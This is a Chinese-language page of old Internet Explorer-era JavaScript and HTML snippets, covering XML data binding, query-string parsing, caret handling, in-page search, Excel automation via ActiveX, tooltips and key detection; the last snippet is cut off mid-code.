<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;html&gt; <BR>&lt;body&gt; <BR>srno：&lt;input&nbsp;type=text&nbsp;datasrc=#xmldate&nbsp;DataFLD=srno&nbsp;size=<SPAN style="COLOR: #ff00ff">"76"</SPAN>&gt;&lt;BR&gt; <BR>times：&lt;input&nbsp;type=text&nbsp;datasrc=#xmldate&nbsp;DataFLD=times&nbsp;size=<SPAN style="COLOR: #ff00ff">"76"</SPAN>&gt;&lt;BR&gt; <BR>&lt;input&nbsp;id=<SPAN style="COLOR: #ff00ff">"first"</SPAN>&nbsp;TYPE=button&nbsp;value=<SPAN style="COLOR: #ff00ff">"&lt;&lt;　第一条记录"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"xmldate.recordset.moveFirst()"</SPAN>&gt; <BR>&lt;input&nbsp;id=<SPAN style="COLOR: #ff00ff">"prev"</SPAN>&nbsp;TYPE=button&nbsp;value=<SPAN style="COLOR: #ff00ff">"&lt;上一条记录"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"xmldate.recordset.movePrevious()"</SPAN>&gt;&nbsp;&nbsp; <BR>&lt;input&nbsp;id=<SPAN style="COLOR: #ff00ff">"next"</SPAN>&nbsp;TYPE=button&nbsp;value=<SPAN style="COLOR: #ff00ff">"下一条记录&gt;"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"xmldate.recordset.moveNext()"</SPAN>&gt;&nbsp;&nbsp; <BR>&lt;input&nbsp;id=<SPAN style="COLOR: #ff00ff">"last"</SPAN>&nbsp;TYPE=button&nbsp;value=<SPAN style="COLOR: #ff00ff">"最后一条记录&gt;&gt;"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"xmldate.recordset.moveLast()"</SPAN>&gt;&nbsp;&nbsp;&nbsp; <BR>&lt;input&nbsp;id=<SPAN style="COLOR: #ff00ff">"Add"</SPAN>&nbsp;TYPE=button&nbsp;value=<SPAN style="COLOR: #ff00ff">"添加新记录"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"xmldate.recordset.addNew()"</SPAN>&gt;&nbsp;&nbsp; <BR><BR>&lt;XML&nbsp;ID=<SPAN style="COLOR: #ff00ff">"xmldate"</SPAN>&gt; <BR>&lt;infolist&gt; <BR>&lt;info&nbsp;&gt;&lt;srno&gt;20041025-01&lt;/srno&gt;&lt;times&gt;<SPAN style="COLOR: #0000ff">null</SPAN>&lt;/times&gt;&lt;/info&gt; <BR>&lt;info&nbsp;&gt;&lt;srno&gt;20041101-09&lt;/srno&gt;&lt;times&gt;2004年10月1日2点22分0秒&lt;/times&gt;&lt;/info&gt; <BR>&lt;/infolist&gt; <BR>&lt;/XML&gt; <BR>&lt;/body&gt; <BR>&lt;/html&gt; </DIV>
<P><STRONG>//获得参数</STRONG><FONT size=2> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;body&gt; <BR>&lt;a&nbsp;href=<SPAN style="COLOR: #ff00ff">"javascript:location.href=location.href&nbsp;+&nbsp;'?a=1&b=2'"</SPAN>&gt;search&lt;/a&gt; <BR>&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"JavaScript"</SPAN>&gt; <BR>&lt;!-- <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;a&nbsp;=&nbsp;location.search.substr(1); <BR><SPAN style="COLOR: #0000ff">if</SPAN>(a.length&gt;0) <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;re&nbsp;=&nbsp;/([^&]*?)\=([^&]*)/g <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;s&nbsp;=&nbsp;a.match(re); <BR>&nbsp;for(<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;i=&nbsp;0;i&lt;s.length;i++) <BR>&nbsp;{ <BR>&nbsp;&nbsp;alert(s[i]); <BR>&nbsp;&nbsp;alert(s[i].split(<SPAN style="COLOR: #ff00ff">"="</SPAN>)[1]); <BR>&nbsp;} <BR>} <BR><SPAN style="COLOR: #008000">//--&gt; </SPAN><BR>&lt;/script&gt; <BR>&lt;/body&gt; </DIV>
<P><STRONG>//可编辑SELECT</STRONG><FONT size=2> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;input&nbsp;type=text&nbsp;name=re_name&nbsp;style=<SPAN style="COLOR: #ff00ff">"width:100px;height:21px;font-size:10pt;"</SPAN>&gt;&lt;span&nbsp;style=<SPAN style="COLOR: #ff00ff">"width:18px;border:0px&nbsp;solid&nbsp;red;"</SPAN>&gt;&lt;select&nbsp;name=<SPAN style="COLOR: #ff00ff">"r00"</SPAN>&nbsp;style=<SPAN style="COLOR: #ff00ff">"margin-left:-100px;width:118px;&nbsp;background-color:#FFEEEE;"</SPAN>&nbsp;onChange=<SPAN style="COLOR: #ff00ff">"document.all.re_name.value=this.value;"</SPAN>&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;option&nbsp;value=<SPAN style="COLOR: #ff00ff">"1"</SPAN>&gt;11111111&lt;option&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;option&nbsp;value=<SPAN style="COLOR: #ff00ff">"2"</SPAN>&gt;222222&lt;/option&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;option&nbsp;value=<SPAN style="COLOR: #ff00ff">"3"</SPAN>&gt;333333&lt;/option&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/select&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/span&gt; </DIV></FONT>
<P></P></FONT>
<P></P></FONT>
<P></P></FONT>
<P><FONT size=2><STRONG>//设置光标位置 <BR></STRONG></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;getCaret(textbox) <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;control&nbsp;=&nbsp;document.activeElement; <BR>&nbsp;textbox.focus(); <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;rang&nbsp;=&nbsp;document.selection.createRange(); <BR>&nbsp;&nbsp;rang.setEndPoint(<SPAN style="COLOR: #ff00ff">"StartToStart"</SPAN>,textbox.createTextRange()) <BR>&nbsp;control.focus(); <BR>&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;rang.text.length; <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;setCaret(textbox,pos) <BR>{ <BR>&nbsp;try <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;r&nbsp;=textbox.createTextRange(); <BR>&nbsp;&nbsp;&nbsp;r.moveStart('character',pos); <BR>&nbsp;&nbsp;&nbsp;r.collapse(<SPAN style="COLOR: #0000ff">true</SPAN>); <BR>&nbsp;&nbsp;&nbsp;r.select(); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">catch</SPAN>(e) <BR>&nbsp;{} <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;selectLength(textbox,start,len) <BR>{ <BR>&nbsp;try <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;r&nbsp;=textbox.createTextRange(); <BR>&nbsp; <BR>&nbsp;&nbsp;r.moveEnd('character',len-(textbox.value.length-start)); <BR>&nbsp;&nbsp;r.moveStart('character',start); <BR>&nbsp;&nbsp; <BR>&nbsp;&nbsp;r.select(); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">catch</SPAN>(e) <BR>&nbsp;{<SPAN style="COLOR: #008000">//alert(e.description)} </SPAN><BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;insertAtCaret(textbox,text) <BR>{ <BR>&nbsp;textbox.focus(); <BR>&nbsp;document.selection.createRange().text&nbsp;=&nbsp;text; <BR>} </DIV></FONT>
<P><BR><FONT size=2><STRONG>//页内查找</STRONG> <BR></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;findInPage(str) <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;txt,&nbsp;i,&nbsp;found,n&nbsp;=&nbsp;0; <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(str&nbsp;==&nbsp;<SPAN style="COLOR: #ff00ff">""</SPAN>) <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>&nbsp;} <BR>&nbsp;txt&nbsp;=&nbsp;document.body.createTextRange(); <BR>&nbsp;for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;=&nbsp;n&nbsp;&&&nbsp;(found&nbsp;=&nbsp;txt.findText(str))&nbsp;!=&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>;&nbsp;i++) <BR>&nbsp;{ <BR>&nbsp;&nbsp;txt.moveStart(<SPAN style="COLOR: #ff00ff">"character"</SPAN>,&nbsp;1); <BR>&nbsp;&nbsp;txt.moveEnd(<SPAN style="COLOR: #ff00ff">"textedit"</SPAN>); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(found) <BR>&nbsp;{ <BR>&nbsp;&nbsp;txt.moveStart(<SPAN style="COLOR: #ff00ff">"character"</SPAN>,&nbsp;-1); <BR>&nbsp;&nbsp;txt.findText(str); <BR>&nbsp;&nbsp;txt.select(); <BR>&nbsp;&nbsp;txt.scrollIntoView(); <BR>&nbsp;&nbsp;n++;&nbsp;&nbsp; <BR>&nbsp;} <BR>&nbsp;else <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(n&nbsp;&gt;&nbsp;0) <BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;n&nbsp;=&nbsp;0; <BR>&nbsp;&nbsp;&nbsp;findInPage(str); <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;else <BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;alert(str&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"...&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;您要找的文字不存在。\n&nbsp;\n请试着输入页面中的关键字再次查找！"</SPAN>); <BR>&nbsp;&nbsp;} <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>} </DIV>
<P><STRONG>//书</STRONG> </P>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><A href="http://www.itpub.net/attachment.php?s=&postid=1894598"><FONT size=2>http://www.itpub.net/attachment.php?s=&postid=1894598</FONT></A> <BR><A href="http://www.wrclub.net/down/listdown.aspx?id=1341"><FONT size=2>http://www.wrclub.net/down/listdown.aspx?id=1341</FONT></A><SPAN style="COLOR: #008000"> 
<P><FONT size=2><STRONG>//操作EXECL</STRONG></FONT> </P></SPAN></DIV></FONT>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"javascript"</SPAN>&gt; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;jStartExcel()&nbsp;{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;xls&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>&nbsp;(&nbsp;<SPAN style="COLOR: #ff00ff">"Excel.Application"</SPAN>&nbsp;); <BR>&nbsp;xls.visible&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">true</SPAN>; <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;newBook&nbsp;=&nbsp;xls.Workbooks.Add; <BR>&nbsp;newBook.Worksheets.Add; <BR>&nbsp;newBook.Worksheets(1).Activate; <BR>&nbsp;xls.ActiveWorkBook.ActiveSheet.PageSetup.Orientation&nbsp;=&nbsp;2; <BR>&nbsp;xls.ActiveWorkBook.ActiveSheet.PageSetup.PaperSize&nbsp;=&nbsp;5; <BR>&nbsp;newBook.Worksheets(1).Columns(<SPAN style="COLOR: #ff00ff">"A"</SPAN>).columnwidth=50; <BR>&nbsp;newBook.Worksheets(1).Columns(<SPAN style="COLOR: #ff00ff">"A"</SPAN>).WrapText&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">true</SPAN>; <BR>&nbsp;newBook.Worksheets(1).Columns(<SPAN style="COLOR: #ff00ff">"B"</SPAN>).columnwidth=50; <BR>&nbsp;newBook.Worksheets(1).Columns(<SPAN style="COLOR: #ff00ff">"B"</SPAN>).WrapText&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">true</SPAN>; <BR>&nbsp;newBook.Worksheets(1).Range(<SPAN style="COLOR: #ff00ff">"A1:B1000"</SPAN>).NumberFormat&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"0"</SPAN>; <BR>&nbsp;newBook.Worksheets(1).Range(<SPAN style="COLOR: #ff00ff">"A1:B1000"</SPAN>).HorizontalAlignment&nbsp;=&nbsp;-4131; <BR>&nbsp;newBook.Worksheets(1).Cells(1,1).Interior.ColorIndex=<SPAN style="COLOR: #ff00ff">"15"</SPAN>; <BR>&nbsp;newBook.Worksheets(1).Cells(1,1).value=<SPAN style="COLOR: #ff00ff">"First&nbsp;Column,&nbsp;First&nbsp;Cell"</SPAN>; <BR>&nbsp;newBook.Worksheets(1).Cells(2,1).value=<SPAN style="COLOR: #ff00ff">"First&nbsp;Column,&nbsp;Second&nbsp;Cell"</SPAN>; <BR>&nbsp;newBook.Worksheets(1).Cells(1,2).value=<SPAN style="COLOR: #ff00ff">"Second&nbsp;Column,&nbsp;First&nbsp;Cell"</SPAN>; <BR>&nbsp;newBook.Worksheets(1).Cells(2,2).value=<SPAN style="COLOR: #ff00ff">"Second&nbsp;Column,&nbsp;Second&nbsp;Cell"</SPAN>; <BR>&nbsp;newBook.Worksheets(1).Name=<SPAN style="COLOR: #ff00ff">"My&nbsp;First&nbsp;WorkSheet"</SPAN>; <BR>} <BR>&lt;/script&gt; </DIV>
<P><BR><FONT size=2><STRONG>//自定义提示条 <BR></STRONG></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;a&nbsp;href=<SPAN style="COLOR: #ff00ff">"#"</SPAN>&nbsp;title=<SPAN style="COLOR: #ff00ff">"这是提示"</SPAN>&gt;tip&lt;/a&gt; <BR>&lt;script&nbsp;Language=<SPAN style="COLOR: #ff00ff">"JavaScript"</SPAN>&gt; <BR><SPAN style="COLOR: #008000">//***********默认设置定义.********************* </SPAN><BR>tPopWait=50;<SPAN style="COLOR: #008000">//停留tWait豪秒后显示提示。 </SPAN><BR>tPopShow=5000;<SPAN style="COLOR: #008000">//显示tShow豪秒后关闭提示 </SPAN><BR>showPopStep=20; <BR>popOpacity=99; <BR><SPAN style="COLOR: #008000">//***************内部变量定义***************** </SPAN><BR>sPop=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>curShow=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>tFadeOut=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>tFadeIn=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>tFadeWaiting=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>document.write(<SPAN style="COLOR: #ff00ff">"&lt;style&nbsp;type='text/css'id='defaultPopStyle'&gt;"</SPAN>); <BR>document.write(<SPAN style="COLOR: #ff00ff">".cPopText&nbsp;{&nbsp;&nbsp;background-color:&nbsp;#F8F8F5;color:#000000;&nbsp;border:&nbsp;1px&nbsp;#000000&nbsp;solid;font-color:&nbsp;font-size:&nbsp;12px;&nbsp;padding-right:&nbsp;4px;&nbsp;padding-left:&nbsp;4px;&nbsp;height:&nbsp;20px;&nbsp;padding-top:&nbsp;2px;&nbsp;padding-bottom:&nbsp;2px;&nbsp;filter:&nbsp;Alpha(Opacity=0)}"</SPAN>); <BR>document.write(<SPAN style="COLOR: #ff00ff">"&lt;/style&gt;"</SPAN>); <BR>document.write(<SPAN style="COLOR: #ff00ff">"&lt;div&nbsp;id='dypopLayer'&nbsp;style='position:absolute;z-index:1000;'&nbsp;class='cPopText'&gt;&lt;/div&gt;"</SPAN>); <BR><BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;showPopupText(){ <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;o=event.srcElement; <BR>MouseX=event.x; <BR>MouseY=event.y; <BR><SPAN style="COLOR: #0000ff">if</SPAN>(o.alt!=<SPAN style="COLOR: #0000ff">null</SPAN>&nbsp;&&&nbsp;o.alt!=<SPAN style="COLOR: #ff00ff">""</SPAN>){o.dypop=o.alt;o.alt=<SPAN style="COLOR: #ff00ff">""</SPAN>}; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(o.title!=<SPAN style="COLOR: #0000ff">null</SPAN>&nbsp;&&&nbsp;o.title!=<SPAN style="COLOR: #ff00ff">""</SPAN>){o.dypop=o.title;o.title=<SPAN style="COLOR: #ff00ff">""</SPAN>}; <BR><SPAN style="COLOR: #0000ff">if</SPAN>(o.dypop!=sPop)&nbsp;{ <BR>sPop=o.dypop; <BR>clearTimeout(curShow); <BR>clearTimeout(tFadeOut); <BR>clearTimeout(tFadeIn); <BR>clearTimeout(tFadeWaiting); <BR><SPAN style="COLOR: #0000ff">if</SPAN>(sPop==<SPAN style="COLOR: #0000ff">null</SPAN>&nbsp;||&nbsp;sPop==<SPAN style="COLOR: #ff00ff">""</SPAN>)&nbsp;{ <BR>dypopLayer.innerHTML=<SPAN style="COLOR: #ff00ff">""</SPAN>; <BR>dypopLayer.style.filter=<SPAN style="COLOR: #ff00ff">"Alpha()"</SPAN>; <BR>dypopLayer.filters.Alpha.opacity=0; <BR>} <BR><SPAN style="COLOR: #0000ff">else</SPAN>&nbsp;{ <BR><SPAN style="COLOR: #0000ff">if</SPAN>(o.dyclass!=<SPAN style="COLOR: #0000ff">null</SPAN>)&nbsp;popStyle=o.dyclass&nbsp; <BR><SPAN style="COLOR: #0000ff">else</SPAN>&nbsp;popStyle=<SPAN style="COLOR: #ff00ff">"cPopText"</SPAN>; <BR>curShow=setTimeout(<SPAN style="COLOR: #ff00ff">"showIt()"</SPAN>,tPopWait); <BR>} <BR>} <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;showIt(){ <BR>dypopLayer.className=popStyle; <BR>dypopLayer.innerHTML=sPop; <BR>popWidth=dypopLayer.clientWidth; <BR>popHeight=dypopLayer.clientHeight; <BR><SPAN style="COLOR: #0000ff">if</SPAN>(MouseX+12+popWidth&gt;document.body.clientWidth)&nbsp;popLeftAdjust=-popWidth-24 <BR><SPAN style="COLOR: #0000ff">else</SPAN>&nbsp;popLeftAdjust=0; <BR><SPAN style="COLOR: #0000ff">if</SPAN>(MouseY+12+popHeight&gt;document.body.clientHeight)&nbsp;popTopAdjust=-popHeight-24 <BR><SPAN style="COLOR: #0000ff">else</SPAN>&nbsp;popTopAdjust=0; <BR>dypopLayer.style.left=MouseX+12+document.body.scrollLeft+popLeftAdjust; <BR>dypopLayer.style.top=MouseY+12+document.body.scrollTop+popTopAdjust; <BR>dypopLayer.style.filter=<SPAN style="COLOR: #ff00ff">"Alpha(Opacity=0)"</SPAN>; <BR>fadeOut(); <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;fadeOut(){ <BR><SPAN style="COLOR: #0000ff">if</SPAN>(dypopLayer.filters.Alpha.opacity&lt;popOpacity)&nbsp;{ <BR>dypopLayer.filters.Alpha.opacity+=showPopStep; <BR>tFadeOut=setTimeout(<SPAN style="COLOR: #ff00ff">"fadeOut()"</SPAN>,1); <BR>} <BR><SPAN style="COLOR: #0000ff">else</SPAN>&nbsp;{ <BR>dypopLayer.filters.Alpha.opacity=popOpacity; <BR>tFadeWaiting=setTimeout(<SPAN style="COLOR: #ff00ff">"fadeIn()"</SPAN>,tPopShow); <BR>} <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;fadeIn(){ <BR><SPAN style="COLOR: #0000ff">if</SPAN>(dypopLayer.filters.Alpha.opacity&gt;0)&nbsp;{ <BR>dypopLayer.filters.Alpha.opacity-=1; <BR>tFadeIn=setTimeout(<SPAN style="COLOR: #ff00ff">"fadeIn()"</SPAN>,1); <BR>} <BR>} <BR>document.onmouseover=showPopupText; <BR>&lt;/script&gt; </DIV>
<P><STRONG>//插入文字</STRONG> </P></FONT>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">document.onclick&nbsp;=<SPAN style="COLOR: #0000ff">function</SPAN>(){&nbsp; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;oSource&nbsp;=&nbsp;window.event.srcElement;&nbsp; <BR><SPAN style="COLOR: #0000ff">if</SPAN>(oSource.tagName!=<SPAN style="COLOR: #ff00ff">"DIV"</SPAN>)&nbsp; <BR><SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>;&nbsp; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;sel&nbsp;=&nbsp;document.selection;&nbsp; <BR><SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(sel!=<SPAN style="COLOR: #0000ff">null</SPAN>)&nbsp;{&nbsp; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;rng&nbsp;=&nbsp;sel.createRange();&nbsp; <BR><SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(rng!=<SPAN style="COLOR: #0000ff">null</SPAN>)&nbsp; <BR>rng.pasteHTML(<SPAN style="COLOR: #ff00ff">"&lt;font&nbsp;color=red&gt;插入文字&lt;/font&gt;"</SPAN>);&nbsp; <BR>}&nbsp; <BR>}&nbsp; </DIV>
<P><FONT size=2><STRONG>//netscapte下操作xml</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">doc&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"Msxml2.DOMDocument"</SPAN>); <BR>doc&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"Microsoft.XMLDOM"</SPAN>) <BR>-&gt;&gt; <BR>doc&nbsp;=&nbsp;(<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;DOMParser()).parseFromString(sXML,'text/xml') </DIV></FONT>
<P></P>
<P><FONT size=2><STRONG>//判断键值</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;html&gt; <BR>&lt;meta&nbsp;http-equiv=<SPAN style="COLOR: #ff00ff">"Content-Type"</SPAN>&nbsp;content=<SPAN style="COLOR: #ff00ff">"text/html;&nbsp;charset=gb2312"</SPAN>&gt; <BR>&lt;head&gt; <BR>&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"javascript"</SPAN>&gt; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;ie&nbsp;&nbsp;=navigator.appName==<SPAN style="COLOR: #ff00ff">"Microsoft&nbsp;Internet&nbsp;Explorer"</SPAN>?<SPAN style="COLOR: #0000ff">true</SPAN>:<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>&nbsp;&nbsp; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;keyDown(e) <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(!ie) <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;nkey=e.which; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;iekey='现在是ns浏览器'; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;realkey=<SPAN style="COLOR: #ff0000">String</SPAN>.fromCharCode(e.which); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: 